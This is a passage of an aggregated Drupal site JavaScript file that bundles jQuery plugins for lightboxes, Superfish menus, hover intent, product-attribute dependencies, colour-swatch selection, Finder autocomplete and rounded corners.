      else if (stylesArray[i].indexOf('scrolling:') >= 0) {
        var scrolling = stylesArray[i].replace('scrolling:', '');
        item.scrolling = jQuery.trim(scrolling);
      }
      else if (stylesArray[i].indexOf('overflow:') >= 0) {
        var overflow = stylesArray[i].replace('overflow:', '');
        item.overflow = jQuery.trim(overflow);
      }
    }
    return item;
  },


  // togglePlayPause()
  // Hide the pause / play button as appropriate.  If pausing the slideshow also
  // clear the timers, otherwise move onto the next image.
  togglePlayPause: function(hideId, showId) {
    if (Lightbox.isSlideshow && hideId == "lightshowPause") {
      for (var i = 0; i < Lightbox.slideIdCount; i++) {
        window.clearTimeout(Lightbox.slideIdArray[i]);
      }
    }
    $('#' + hideId).hide();
    $('#' + showId).show();

    if (hideId == "lightshowPlay") {
      Lightbox.isPaused = false;
      if (!Lightbox.loopSlides && Lightbox.activeImage == (Lightbox.total - 1)) {
        Lightbox.end();
      }
      else if (Lightbox.total > 1) {
        Lightbox.changeData(Lightbox.activeImage + 1);
      }
    }
    else {
      Lightbox.isPaused = true;
    }
  },

  triggerLightbox: function (rel_type, rel_group) {
    if (rel_type.length) {
      if (rel_group && rel_group.length) {
        $("a[rel^='" + rel_type +"\[" + rel_group + "\]'], area[rel^='" + rel_type +"\[" + rel_group + "\]']").eq(0).trigger("click");
      }
      else {
        $("a[rel^='" + rel_type +"'], area[rel^='" + rel_type +"']").eq(0).trigger("click");
      }
    }
  },

  detectMacFF2: function() {
    var ua = navigator.userAgent.toLowerCase();
    if (/firefox[\/\s](\d+\.\d+)/.test(ua)) {
      var ffversion = new Number(RegExp.$1);
      if (ffversion < 3 && ua.indexOf('mac') != -1) {
        return true;
      }
    }
    return false;
  },

  checkKey: function(keys, key, code) {
    return (jQuery.inArray(key, keys) != -1 || jQuery.inArray(String(code), keys) != -1);
  },

  filterXSS: function(str) {
    var output = "";
    $.ajax({
      url: Drupal.settings.basePath + 'system/lightbox2/filter-xss',
      data: {
        'string' : str
      },
      type: "POST",
      async: false,
      dataType:  "json",
      success: function(data) {
        output = data;
      }
    });
    return output;
  }

};

// Initialize the lightbox.
Drupal.behaviors.initLightbox = function (context) {
  $('body:not(.lightbox-processed)', context).addClass('lightbox-processed').each(function() {
    Lightbox.initialize();
    return false; // Break the each loop.
  });

  // Attach lightbox to any links with lightbox rels.
  Lightbox.initList(context);
  $('#lightboxAutoModal', context).triggerHandler('click');
};

;
// $Id: modernizr_loader.js,v 1.1 2010/08/16 12:40:08 yorirou Exp $

(function($) {
  $(function() {
    // adding the no-js class to html
    // in order to make modernizr triggered
    $('html')
      .addClass('modernizr')
      .addClass('no-js');
    // loading modernizr
    $('head').append(
      $('<script></script>')
        .attr('type', 'text/javascript')
        .attr('src', Drupal.settings.basePath + Drupal.settings.modernizrPath)
    );
  });
})(jQuery);;
/* $Id: jquery.hoverIntent.minified.js,v 1.1 2010/02/12 12:53:13 mehrpadin Exp $ */
/**
* hoverIntent r5 // 2007.03.27 // jQuery 1.1.2+
* <http://cherne.net/brian/resources/jquery.hoverIntent.html>
*
* @param  f  onMouseOver function || An object with configuration options
* @param  g  onMouseOut function  || Nothing (use configuration options object)
* @author    Brian Cherne <brian@cherne.net>
*/
(function($){$.fn.hoverIntent=function(f,g){var cfg={sensitivity:7,interval:100,timeout:0};cfg=$.extend(cfg,g?{over:f,out:g}:f);var cX,cY,pX,pY;var track=function(ev){cX=ev.pageX;cY=ev.pageY;};var compare=function(ev,ob){ob.hoverIntent_t=clearTimeout(ob.hoverIntent_t);if((Math.abs(pX-cX)+Math.abs(pY-cY))<cfg.sensitivity){$(ob).unbind("mousemove",track);ob.hoverIntent_s=1;return cfg.over.apply(ob,[ev]);}else{pX=cX;pY=cY;ob.hoverIntent_t=setTimeout(function(){compare(ev,ob);},cfg.interval);}};var delay=function(ev,ob){ob.hoverIntent_t=clearTimeout(ob.hoverIntent_t);ob.hoverIntent_s=0;return cfg.out.apply(ob,[ev]);};var handleHover=function(e){var p=(e.type=="mouseover"?e.fromElement:e.toElement)||e.relatedTarget;while(p&&p!=this){try{p=p.parentNode;}catch(e){p=this;}}if(p==this){return false;}var ev=jQuery.extend({},e);var ob=this;if(ob.hoverIntent_t){ob.hoverIntent_t=clearTimeout(ob.hoverIntent_t);}if(e.type=="mouseover"){pX=ev.pageX;pY=ev.pageY;$(ob).bind("mousemove",track);if(ob.hoverIntent_s!=1){ob.hoverIntent_t=setTimeout(function(){compare(ev,ob);},cfg.interval);}}else{$(ob).unbind("mousemove",track);if(ob.hoverIntent_s==1){ob.hoverIntent_t=setTimeout(function(){delay(ev,ob);},cfg.timeout);}}};return this.mouseover(handleHover).mouseout(handleHover);};})(jQuery);;
/* $Id: jquery.bgiframe.min.js,v 1.1 2010/02/15 13:38:03 mehrpadin Exp $ */
/* Copyright (c) 2006 Brandon Aaron (http://brandonaaron.net)
 * Dual licensed under the MIT (http://www.opensource.org/licenses/mit-license.php) 
 * and GPL (http://www.opensource.org/licenses/gpl-license.php) licenses.
 *
 * $LastChangedDate: 2007-06-19 20:25:28 -0500 (Tue, 19 Jun 2007) $
 * $Rev: 2111 $
 *
 * Version 2.1
 */
(function($){$.fn.bgIframe=$.fn.bgiframe=function(s){if($.browser.msie&&parseInt($.browser.version)<=6){s=$.extend({top:'auto',left:'auto',width:'auto',height:'auto',opacity:true,src:'javascript:false;'},s||{});var prop=function(n){return n&&n.constructor==Number?n+'px':n;},html='<iframe class="bgiframe"frameborder="0"tabindex="-1"src="'+s.src+'"'+'style="display:block;position:absolute;z-index:-1;'+(s.opacity!==false?'filter:Alpha(Opacity=\'0\');':'')+'top:'+(s.top=='auto'?'expression(((parseInt(this.parentNode.currentStyle.borderTopWidth)||0)*-1)+\'px\')':prop(s.top))+';'+'left:'+(s.left=='auto'?'expression(((parseInt(this.parentNode.currentStyle.borderLeftWidth)||0)*-1)+\'px\')':prop(s.left))+';'+'width:'+(s.width=='auto'?'expression(this.parentNode.offsetWidth+\'px\')':prop(s.width))+';'+'height:'+(s.height=='auto'?'expression(this.parentNode.offsetHeight+\'px\')':prop(s.height))+';'+'"/>';return this.each(function(){if($('> iframe.bgiframe',this).length==0)this.insertBefore(document.createElement(html),this.firstChild);});}return this;};if(!$.browser.version)$.browser.version=navigator.userAgent.toLowerCase().match(/.+(?:rv|it|ra|ie)[\/: ]([\d.]+)/)[1];})(jQuery);;
/* $Id: superfish.js,v 1.1 2010/02/12 12:53:13 mehrpadin Exp $ */
/*
 * Superfish v1.4.8 - jQuery menu widget
 * Copyright (c) 2008 Joel Birch
 *
 * Dual licensed under the MIT and GPL licenses:
 *   http://www.opensource.org/licenses/mit-license.php
 *   http://www.gnu.org/licenses/gpl.html
 *
 * CHANGELOG: http://users.tpg.com.au/j_birch/plugins/superfish/changelog.txt
 */

;(function($){
  $.fn.superfish = function(op){

    var sf = $.fn.superfish,
      c = sf.c,
      $arrow = $(['<span class="',c.arrowClass,'"> &#187;</span>'].join('')),
      over = function(){
        var $$ = $(this), menu = getMenu($$);
        clearTimeout(menu.sfTimer);
        $$.showSuperfishUl().siblings().hideSuperfishUl();
      },
      out = function(){
        var $$ = $(this), menu = getMenu($$), o = sf.op;
        clearTimeout(menu.sfTimer);
        menu.sfTimer=setTimeout(function(){
          o.retainPath=($.inArray($$[0],o.$path)>-1);
          $$.hideSuperfishUl();
          if (o.$path.length && $$.parents(['li.',o.hoverClass].join('')).length<1){over.call(o.$path);}
        },o.delay);
      },
      getMenu = function($menu){
        var menu = $menu.parents(['ul.',c.menuClass,':first'].join(''))[0];
        sf.op = sf.o[menu.serial];
        return menu;
      },
      addArrow = function($a){ $a.addClass(c.anchorClass).append($arrow.clone()); };

    return this.each(function() {
      var s = this.serial = sf.o.length;
      var o = $.extend({},sf.defaults,op);
      o.$path = $('li.'+o.pathClass,this).slice(0,o.pathLevels).each(function(){
        $(this).addClass([o.hoverClass,c.bcClass].join(' '))
          .filter('li:has(ul)').removeClass(o.pathClass);
      });
      sf.o[s] = sf.op = o;

      $('li:has(ul)',this)[($.fn.hoverIntent && !o.disableHI) ? 'hoverIntent' : 'hover'](over,out).each(function() {
        if (o.autoArrows) addArrow( $('>a:first-child',this) );
      })
      .not('.'+c.bcClass)
        .hideSuperfishUl();

      var $a = $('a',this);
      $a.each(function(i){
        var $li = $a.eq(i).parents('li');
        $a.eq(i).focus(function(){over.call($li);}).blur(function(){out.call($li);});
      });
      o.onInit.call(this);

    }).each(function() {
      var menuClasses = [c.menuClass];
      if (sf.op.dropShadows  && !($.browser.msie && $.browser.version < 7)) menuClasses.push(c.shadowClass);
      $(this).addClass(menuClasses.join(' '));
    });
  };

  var sf = $.fn.superfish;
  sf.o = [];
  sf.op = {};
  sf.IE7fix = function(){
    var o = sf.op;
    if ($.browser.msie && $.browser.version > 6 && o.dropShadows && o.animation.opacity!=undefined)
      this.toggleClass(sf.c.shadowClass+'-off');
    };
  sf.c = {
    bcClass  : 'sf-breadcrumb',
    menuClass: 'sf-js-enabled',
    anchorClass : 'sf-with-ul',
    arrowClass  : 'sf-sub-indicator',
    shadowClass : 'sf-shadow'
  };
  sf.defaults = {
    hoverClass  : 'sfHover',
    pathClass  : 'overideThisToUse',
    pathLevels  : 1,
    delay : 800,
    animation  : {opacity:'show'},
    speed : 'normal',
    autoArrows  : true,
    dropShadows : true,
    disableHI  : false, // true disables hoverIntent detection
    onInit : function(){}, // callback functions
    onBeforeShow: function(){},
    onShow : function(){},
    onHide : function(){}
  };
  $.fn.extend({
    hideSuperfishUl : function(){
      var o = sf.op,
        not = (o.retainPath===true) ? o.$path : '';
      o.retainPath = false;
      var $ul = $(['li.',o.hoverClass].join(''),this).add(this).not(not).removeClass(o.hoverClass)
          .find('>ul').hide().css('visibility','hidden');
      o.onHide.call($ul);
      return this;
    },
    showSuperfishUl : function(){
      var o = sf.op,
        sh = sf.c.shadowClass+'-off',
        $ul = this.addClass(o.hoverClass)
          .find('>ul:hidden').css('visibility','visible');
      sf.IE7fix.call($ul);
      o.onBeforeShow.call($ul);
      $ul.animate(o.animation,o.speed,function(){ sf.IE7fix.call($ul); o.onShow.call($ul); });
      return this;
    }
  });

})(jQuery);
;
/* $Id: supersubs.js,v 1.1 2010/02/12 12:53:13 mehrpadin Exp $ */
/*
 * Supersubs v0.2b - jQuery plugin
 * Copyright (c) 2008 Joel Birch
 *
 * Dual licensed under the MIT and GPL licenses:
 *   http://www.opensource.org/licenses/mit-license.php
 *   http://www.gnu.org/licenses/gpl.html
 *
 *
 * This plugin automatically adjusts submenu widths of suckerfish-style menus to that of
 * their longest list item children. If you use this, please expect bugs and report them
 * to the jQuery Google Group with the word 'Superfish' in the subject line.
 *
 */

;(function($){ // $ will refer to jQuery within this closure

  $.fn.supersubs = function(options){
    var opts = $.extend({}, $.fn.supersubs.defaults, options);
    // return original object to support chaining
    return this.each(function() {
      // cache selections
      var $$ = $(this);
      // support metadata
      var o = $.meta ? $.extend({}, opts, $$.data()) : opts;
      // get the font size of menu.
      // .css('fontSize') returns various results cross-browser, so measure an em dash instead
      var fontsize = $('<li id="menu-fontsize">&#8212;</li>').css({
        'padding' : 0,
        'position' : 'absolute',
        'top' : '-999em',
        'width' : 'auto'
      }).appendTo($$).width(); //clientWidth is faster, but was incorrect here
      // remove em dash
      $('#menu-fontsize').remove();
      // cache all ul elements
      $ULs = $$.find('ul');
      // loop through each ul in menu
      $ULs.each(function(i) {
        // cache this ul
        var $ul = $ULs.eq(i);
        // get all (li) children of this ul
        var $LIs = $ul.children();
        // get all anchor grand-children
        var $As = $LIs.children('a');
        // force content to one line and save current float property
        var liFloat = $LIs.css('white-space','nowrap').css('float');
        // remove width restrictions and floats so elements remain vertically stacked
        var emWidth = $ul.add($LIs).add($As).css({
          'float' : 'none',
          'width'  : 'auto'
        })
        // this ul will now be shrink-wrapped to longest li due to position:absolute
        // so save its width as ems. Clientwidth is 2 times faster than .width() - thanks Dan Switzer
        .end().end()[0].clientWidth / fontsize;
        // add more width to ensure lines don't turn over at certain sizes in various browsers
        emWidth += o.extraWidth;
        // restrict to at least minWidth and at most maxWidth
        if (emWidth > o.maxWidth)    { emWidth = o.maxWidth; }
        else if (emWidth < o.minWidth)  { emWidth = o.minWidth; }
        emWidth += 'em';
        // set ul to width in ems
        $ul.css('width',emWidth);
        // restore li floats to avoid IE bugs
        // set li width to full width of this ul
        // revert white-space to normal
        $LIs.css({
          'float' : liFloat,
          'width' : '100%',
          'white-space' : 'normal'
        })
        // update offset position of descendant ul to reflect new width of parent
        .each(function(){
          var $childUl = $('>ul',this);
          var offsetDirection = $childUl.css('left')!==undefined ? 'left' : 'right';
          $childUl.css(offsetDirection,emWidth);
        });
      });

    });
  };
  // expose defaults
  $.fn.supersubs.defaults = {
    minWidth: 9, // requires em unit.
    maxWidth: 25, // requires em unit.
    extraWidth: 0 // extra width can ensure lines don't sometimes turn over due to slight browser differences in how they round-off values
  };

})(jQuery); // plugin code ends
;
/**
 * Allows CANO to be notified when the pages loads and the DOM is ready, or when
 * any changes to the DOM are made. When this happens, we will need to rebuild
 * the display immediately and then bind ourself to any future onchange events.
 */
Drupal.behaviors.uc_cano = function(context) {
  // Context is the Document: process all node forms.
  $('.node, #node-form', context).each(function() {
    var node_id = '#'+$(this).attr('id')+' ';
    rebuildAttrDisplay(node_id);
    bindAttrDisplay(node_id);
  });
  
  // The product form (incl. attributes) was modified
  if ($(context).is('form[id^=uc-product-add-to-cart-form-]')) {
    var node_id = '#'+$(context).attr('id')+' ';
    rebuildAttrDisplay(node_id);
    bindAttrDisplay(node_id);
  }
}

/**
 * Rebuilds the display immediately, use this when DOM changes for example.
 */
function rebuildAttrDisplay(node_id) {
  //console.log('\n\n');
  $(node_id+'.uc-cano-dependent-attr').each(function() {
    $(this).parents(".form-item").parents(".attribute").hide();
  });
  
  $(node_id+'.uc-cano-parent-attr').each(function() {
    uc_cano_parent_attr_trigger(node_id, this.id, this.value);
  });
}

/**
 * Binds rebuildAttrDisplay to the onchange event so that the display can be
 * updated as new options are selected.
 */
function bindAttrDisplay(node_id) {
  $(node_id+'.uc-cano-parent-attr, ' + node_id+'.uc-cano-parent-dependent-attr').change(function() {
    rebuildAttrDisplay(node_id);
  });
}

/**
 * Rebuilds the display of a parent and its dependent children.
 */
function uc_cano_parent_attr_trigger(node_id, id, selected_option, force_hide) {
  var this_attr_id = null;
  var matches = id.match(/edit-attributes-(\d+)(-\d+)?/);
  if (matches === null) {
    //console.log('No ID matches found on ' + id + ': aborting.');
    return;
  }
  else {
    this_attr_id = matches[1];
  }
  
  var cano_def = Drupal.settings.uc_cano[this_attr_id];
  var hidden_attributes = new Array();
  
  //console.log('starting on attribute with ID ' + this_attr_id + ' and value ' + selected_option);
  //console.log(cano_def);
  
  $(node_id + ".add-to-cart .attributes").hide();
  $(node_id + ".node-form .attributes").hide();
  $(node_id + "#node-form .attributes").hide();
  
  // The selected option may have no dependency information at all, or it may
  // have different attributes to hide. Queue any attributes that may have been
  // disabled by previously selecting options to show first.
  for (var oid in cano_def) {
    for (var attr_id in cano_def[oid]) {
      if (cano_def[oid][attr_id] == 'disable') {
        $(node_id + "div.attribute-" + attr_id).show();
      }
      else {
        $(node_id + "div.attribute-" + attr_id).hide();
      }
      // fire change event on dependent attrs so that any other attr that are
      // dependent on it will show. If we have previously hidden a parent, we must
      // forcibly hide all of its children no matter what its dependency type is.
      $(node_id + 'div.attribute-' + attr_id + ' select.uc-cano-parent-dependent-attr').each(function() {
        var force_hide = ($.inArray(attr_id, hidden_attributes) > -1);
        //console.log('[recursing] '+attr_id+' with force '+force_hide);
        uc_cano_parent_attr_trigger(node_id, this.id, this.value, force_hide);
      });
    }
  }
  
  // selected_options is '' when the "Please Select" option is selected
  if (selected_option == '' || force_hide === true) {
    for (var attr_id in cano_def[oid]) {
      //console.log('[force] hiding '+attr_id);
      $(node_id + "div.attribute-" + attr_id).hide();
      _uc_cano_unset_hidden_attributes(node_id, attr_id);
    }
  }
  // now parse the dependency chain for this option and hide any items as needed
  else if (selected_option in cano_def) {
    for (var attr_id in cano_def[selected_option]) {
      if (cano_def[selected_option][attr_id] == 'disable') {
        //console.log('[disable] hiding '+attr_id);
        $(node_id + "div.attribute-" + attr_id).hide();
        _uc_cano_unset_hidden_attributes(node_id, attr_id);
        hidden_attributes.push(attr_id);
      } else if (cano_def[selected_option][attr_id] == 'enable') {
        //console.log('[enable] showing '+attr_id);
        $(node_id + "div.attribute-" + attr_id).show();
      }
    }
  }
  
  $(node_id + ".add-to-cart .attributes").show();
  $(node_id + ".node-form .attributes").show();
  $(node_id + "#node-form .attributes").show();
  //console.log('finished attribute with ID ' + this_attr_id);
}

/**
 * Empties the value of a hidden attribute with attr_id. node_id is the JQuery
 * ID selector for the form, such as "#uc-product-add-to-cart-form-foo " (note
 * the trailing space - it is required).
 */
function _uc_cano_unset_hidden_attributes(node_id, attr_id) {
  if ($(node_id + "div.attribute-" + attr_id + " input").is("input:radio")) {
    $(node_id + "div.attribute-" + attr_id + " input").attr("checked", false);
  }
  else {
    $(node_id + "div.attribute-" + attr_id + " input").val("");
    //$("div.attribute-" + attr_id + " select").val("");
    $(node_id + "div.attribute-" + attr_id + " select option:first").attr('selected','selected');
  }
}

/**
 * Used by the admin interface to refresh the available options for an attribute
 */
function uc_cano_filter_attr_options(selected_option, element_id) {
  var url = Drupal.settings.basePath + "js/uc_cano/filter_attr_options/" + selected_option;
  $.ajax({
    url: url,
    success: function(data) {
      var html = "";
      var data_arr = eval('(' + data + ')');
      for (var oid in data_arr) {
        html += '<option value="' + oid + '">' + data_arr[oid] + '</option>';
      }
      $("select[name*=" + element_id + "]").html(html);
    },
  });
};
$(document).ready(function(){
	
	$('.block-uc_upsell div.colors-color').click(function() {
		
		var attrId = $(this).attr('attrid');
		var oId = $(this).attr('oid');
		var exists = $('div#txtmsg').html();
		var title = $(this).attr('title');
		var swatch = $(this);
		
		var selecter_id = swatch.parent().parent().parent().attr('id');
		var selecter_list = selecter_id.split('-');
		var selecter_index = selecter_list[3];
		//alert( selecter_id );
		
		if( selecter_index == "wrapper" ) {
			$('.block-uc_upsell #edit-attributes-'+attrId).val(oId).trigger('change');
		} else {
			$('.block-uc_upsell #edit-attributes-'+attrId+'-'+selecter_index).val(oId).trigger('change');
		}
		
		$('.block-uc_upsell #'+selecter_id+' .colors-color').removeClass('selected');
		swatch.addClass('selected');
		
	});
	
});
;
$(document).ready(function(){
	
	//$("#oi_1").trigger("click");
	
	// Product Node 
	$('#product-top div.colors-color').click(function() {
		var attrId = $(this).attr('attrid');
		var oId = $(this).attr('oid');
		var exists = $('div#txtmsg').html();
		var title = $(this).attr('title');
		var swatch = $(this);

		$('#product-top #edit-attributes-'+attrId).val(oId).trigger('change');
		// Option Images 
		//console.log( oId );
		$('#oi_'+oId).trigger('click');
		
		/*
		if(exists){
			$('div#txtmsg').html('<strong>Selected Colour:</strong> '+title);
		}else{
			$('div#colors-background').before('<div id="txtmsg"><strong>Selected Colour:</strong> '+title+'</div>');
		}
		*/
		$('.colors-color').removeClass('selected');
		swatch.addClass('selected');
		
	});
	
	// Product Grid  
	$('.category-grid-products div.colors-color').click(function() {
		var attrId = $(this).attr('attrid');
		var oId = $(this).attr('oid');
		var exists = $('div#txtmsg').html();
		var title = $(this).attr('title');
		var swatch = $(this);
		
		//alert( attrId );
		
		var selecter_id = swatch.parent().parent().parent().attr('id');
		var selecter_list = selecter_id.split('-');
		var selecter_index = selecter_list[3];
		
		if( selecter_index == "wrapper" ) {
			$('.category-grid-products #edit-attributes-'+attrId).val(oId).trigger('change');
		} else {
			$('.category-grid-products #edit-attributes-'+attrId+'-'+selecter_index).val(oId).trigger('change');
		}
		
		$('.category-grid-products #'+selecter_id+' .colors-color').removeClass('selected');
		swatch.addClass('selected');
		
	});
	
	// Products View  
	$('.view-uc-products div.colors-color').click(function() {
		var attrId = $(this).attr('attrid');
		var oId = $(this).attr('oid');
		var exists = $('div#txtmsg').html();
		var title = $(this).attr('title');
		var swatch = $(this);
		
		//alert( attrId );
		var selecter_id = swatch.parent().parent().parent().attr('id');
		var selecter_list = selecter_id.split('-');
		var selecter_index = selecter_list[3];
		
		if( selecter_index == "wrapper" ) {
			$('.view-uc-products #edit-attributes-'+attrId).val(oId).trigger('change');
		} else {
			$('.view-uc-products #edit-attributes-'+attrId+'-'+selecter_index).val(oId).trigger('change');
		}
		
		$('.view-uc-products #'+selecter_id+' .colors-color').removeClass('selected');
		swatch.addClass('selected');
		
	});
	
	// Related Products 
	$('#cart-related-products div.colors-color').click(function() {
		var attrId = $(this).attr('attrid');
		var oId = $(this).attr('oid');
		var exists = $('div#txtmsg').html();
		var title = $(this).attr('title');
		var swatch = $(this);
		
		//alert( attrId );
		
		var selecter_id = swatch.parent().parent().parent().attr('id');
		var selecter_list = selecter_id.split('-');
		var selecter_index = selecter_list[3];
		
		//alert( selecter_index );
		
		if( selecter_index == "wrapper" ) {
			$('#cart-related-products #edit-attributes-'+attrId).val(oId).trigger('change');
		} else {
			$('#cart-related-products #edit-attributes-'+attrId+'-'+selecter_index).val(oId).trigger('change');
		}
		
		$('#cart-related-products #'+selecter_id+' .colors-color').removeClass('selected');
		swatch.addClass('selected');
		
	});
	
	// New Products 
	$('#block-views-products_latest-block_1 div.colors-color').click(function() {
		var attrId = $(this).attr('attrid');
		var oId = $(this).attr('oid');
		var exists = $('div#txtmsg').html();
		var title = $(this).attr('title');
		var swatch = $(this);
		
		//alert( attrId );
		
		var selecter_id = swatch.parent().parent().parent().attr('id');
		var selecter_list = selecter_id.split('-');
		var selecter_index = selecter_list[3];
		
		//alert( selecter_index );
		
		if( selecter_index == "wrapper" ) {
			$('#block-views-products_latest-block_1 #edit-attributes-'+attrId).val(oId).trigger('change');
		} else {
			$('#block-views-products_latest-block_1 #edit-attributes-'+attrId+'-'+selecter_index).val(oId).trigger('change');
		}
		
		$('#block-views-products_latest-block_1 #'+selecter_id+' .colors-color').removeClass('selected');
		swatch.addClass('selected');
		
	});
	
});;

/**
 * @file
 * Variation of misc/autocomplete.js.
 * 
 * Altered to submit a form when an autocomplete value is selected.  This is
 * required by some features of the Finder Autocomplete module.
 */

/**
 * Attaches the finder_autocomplete behavior to all required fields
 */
Drupal.behaviors.finder_autocomplete = function (context) {
  var acdb = [];
  $('input.finder-autocomplete:not(.autocomplete-processed)', context).each(function () {
    var uri = this.value;
    if (!acdb[uri]) {
      acdb[uri] = new Drupal.ACDB(uri);
    }
    var input = $('#' + this.id.substr(0, this.id.length - 13))
      .attr('autocomplete', 'OFF')[0];
    $(input.form).submit(Drupal.finder_autocompleteSubmit);
    new Drupal.jsFAC(input, acdb[uri]);
    $(this).addClass('autocomplete-processed');
  });
};

/**
 * Prevents the form from submitting if the suggestions popup is open
 * and closes the suggestions popup when doing so.
 */
Drupal.finder_autocompleteSubmit = function () {
  return $('#autocomplete').each(function () {
    this.owner.hidePopup();
	this.form.submit();
  }).size() == 0;
};

/**
 * An AutoComplete object
 */
Drupal.jsFAC = function (input, db) {
  var ac = this;
  this.input = input;
  this.db = db;

  $(this.input)
    .keydown(function (event) { return ac.onkeydown(this, event); })
    .keyup(function (event) { ac.onkeyup(this, event); })
    .blur(function () { ac.hidePopup(); ac.db.cancel(); });

};

/**
 * Handler for the "keydown" event
 */
Drupal.jsFAC.prototype.onkeydown = function (input, e) {
  if (!e) {
    e = window.event;
  }
  switch (e.keyCode) {
    case 40: // down arrow
      this.selectDown();
      return false;
    case 38: // up arrow
      this.selectUp();
      return false;
    default: // all other keys
      return true;
  }
};

/**
 * Handler for the "keyup" event
 */
Drupal.jsFAC.prototype.onkeyup = function (input, e) {
  if (!e) {
    e = window.event;
  }
  switch (e.keyCode) {
    case 16: // shift
    case 17: // ctrl
    case 18: // alt
    case 20: // caps lock
    case 33: // page up
    case 34: // page down
    case 35: // end
    case 36: // home
    case 37: // left arrow
    case 38: // up arrow
    case 39: // right arrow
    case 40: // down arrow
      return true;

    case 9:  // tab
    case 13: // enter
    case 27: // esc
      this.hidePopup(e.keyCode);
      return true;

    default: // all other keys
      if (input.value.length > 0)
        this.populatePopup();
      else
        this.hidePopup(e.keyCode);
      return true;
  }
};

/**
 * Puts the currently highlighted suggestion into the finder_autocomplete field
 */
Drupal.jsFAC.prototype.select = function (node) {
  this.input.value = node.finder_autocompleteValue;
  this.input.form.submit();
};

/**
 * Highlights the next suggestion
 */
Drupal.jsFAC.prototype.selectDown = function () {
  if (this.selected && this.selected.nextSibling) {
    this.highlight(this.selected.nextSibling);
  }
  else {
    var lis = $('li', this.popup);
    if (lis.size() > 0) {
      this.highlight(lis.get(0));
    }
  }
};

/**
 * Highlights the previous suggestion
 */
Drupal.jsFAC.prototype.selectUp = function () {
  if (this.selected && this.selected.previousSibling) {
    this.highlight(this.selected.previousSibling);
  }
};

/**
 * Highlights a suggestion
 */
Drupal.jsFAC.prototype.highlight = function (node) {
  if (this.selected) {
    $(this.selected).removeClass('selected');
  }
  $(node).addClass('selected');
  this.selected = node;
};

/**
 * Unhighlights a suggestion
 */
Drupal.jsFAC.prototype.unhighlight = function (node) {
  $(node).removeClass('selected');
  this.selected = false;
};

/**
 * Hides the finder_autocomplete suggestions
 */
Drupal.jsFAC.prototype.hidePopup = function (keycode) {
  // Select item if the right key or mousebutton was pressed
  if (this.selected && ((keycode && keycode != 46 && keycode != 8 && keycode != 27) || !keycode)) {
    this.input.value = this.selected.finder_autocompleteValue;
  }

  // Hide popup
  var popup = this.popup;
  if (popup) {
    this.popup = null;
    $(popup).fadeOut('fast', function() { $(popup).remove(); });
  }
  this.selected = false;

};

/**
 * Positions the suggestions popup and starts a search
 */
Drupal.jsFAC.prototype.populatePopup = function () {
  // Show popup
  if (this.popup) {
    $(this.popup).remove();
  }
  this.selected = false;
  this.popup = document.createElement('div');
  this.popup.id = 'autocomplete';
  this.popup.owner = this;
  $(this.popup).css({
    marginTop: this.input.offsetHeight +'px',
    width: (this.input.offsetWidth - 4) +'px',
    display: 'none'
  });
  $(this.input).before(this.popup);

  // Do search
  this.db.owner = this;
  this.db.search(this.input.value);
};

/**
 * Fills the suggestion popup with any matches received
 */
Drupal.jsFAC.prototype.found = function (matches) {
  // If no value in the textfield, do not show the popup.
  if (!this.input.value.length) {
    return false;
  }

  // Prepare matches
  var ul = document.createElement('ul');
  var ac = this;
  for (key in matches) {
    var li = document.createElement('li');
    $(li)
      .html('<div>'+ matches[key] +'</div>')
      .mousedown(function () { ac.select(this); })
      .mouseover(function () { ac.highlight(this); })
      .mouseout(function () { ac.unhighlight(this); });
    li.finder_autocompleteValue = key;
    $(ul).append(li);
  }

  // Show popup with matches, if any
  if (this.popup) {
    if (ul.childNodes.length > 0) {
      $(this.popup).empty().append(ul).show();
    }
    else {
      $(this.popup).css({visibility: 'hidden'});
      this.hidePopup();
    }
  }
};

Drupal.jsFAC.prototype.setStatus = function (status) {
  switch (status) {
    case 'begin':
      $(this.input).addClass('throbbing');
      break;
    case 'cancel':
    case 'error':
    case 'found':
      $(this.input).removeClass('throbbing');
      break;
  }
};

/**
 * An AutoComplete DataBase object
 */
Drupal.ACDB = function (uri) {
  this.uri = uri;
  this.delay = 300;
  this.cache = {};
};

/**
 * Performs a cached and delayed search
 */
Drupal.ACDB.prototype.search = function (searchString) {
  var db = this;
  this.searchString = searchString;

  // See if this key has been searched for before
  if (this.cache[searchString]) {
    return this.owner.found(this.cache[searchString]);
  }

  // Initiate delayed search
  if (this.timer) {
    clearTimeout(this.timer);
  }
  this.timer = setTimeout(function() {
    db.owner.setStatus('begin');

    // Ajax GET request for autocompletion
    $.ajax({
      type: "GET",
      url: db.uri +'/'+ Drupal.encodeURIComponent(searchString),
      dataType: 'json',
      success: function (matches) {
        if (typeof matches['status'] == 'undefined' || matches['status'] != 0) {
          db.cache[searchString] = matches;
          // Verify if these are still the matches the user wants to see
          if (db.searchString == searchString) {
            db.owner.found(matches);
          }
          db.owner.setStatus('found');
        }
      },
      error: function (xmlhttp) {
        alert(Drupal.ahahError(xmlhttp, db.uri));
      }
    });
  }, this.delay);
};

/**
 * Cancels the current finder_autocomplete request
 */
Drupal.ACDB.prototype.cancel = function() {
  if (this.owner) this.owner.setStatus('cancel');
  if (this.timer) clearTimeout(this.timer);
  this.searchString = '';
};
;
/*!
 * jQuery corner plugin: simple corner rounding
 * Examples and documentation at: http://jquery.malsup.com/corner/
 * version 2.11 (15-JUN-2010)
 * Requires jQuery v1.3.2 or later
 * Dual licensed under the MIT and GPL licenses:
 * http://www.opensource.org/licenses/mit-license.php
 * http://www.gnu.org/licenses/gpl.html
 * Authors: Dave Methvin and Mike Alsup
 */

/**
 *  corner() takes a single string argument:  $('#myDiv').corner("effect corners width")
 *
 *  effect:  name of the effect to apply, such as round, bevel, notch, bite, etc (default is round). 
 *  corners: one or more of: top, bottom, tr, tl, br, or bl.  (default is all corners)
 *  width:   width of the effect; in the case of rounded corners this is the radius. 
 *           specify this value using the px suffix such as 10px (yes, it must be pixels).
 */
;(function($) { 

var style = document.createElement('div').style,
    moz = style['MozBorderRadius'] !== undefined,
    webkit = style['WebkitBorderRadius'] !== undefined,
    radius = style['borderRadius'] !== undefined || style['BorderRadius'] !== undefined,
    mode = document.documentMode || 0,
    noBottomFold = $.browser.msie && (($.browser.version < 8 && !mode) || mode < 8),

    expr = $.browser.msie && (function() {
        var div = document.createElement('div');
        try { div.style.setExpression('width','0+0'); div.style.removeExpression('width'); }
        catch(e) { return false; }
        return true;
    })();

$.support = $.support || {};
$.support.borderRadius = moz || webkit || radius; // so you can do:  if (!$.support.borderRadius) $('#myDiv').corner();

function sz(el, p) { 
    return parseInt($.css(el,p))||0; 
};
function hex2(s) {
    var s = parseInt(s).toString(16);
    return ( s.length < 2 ) ? '0'+s : s;
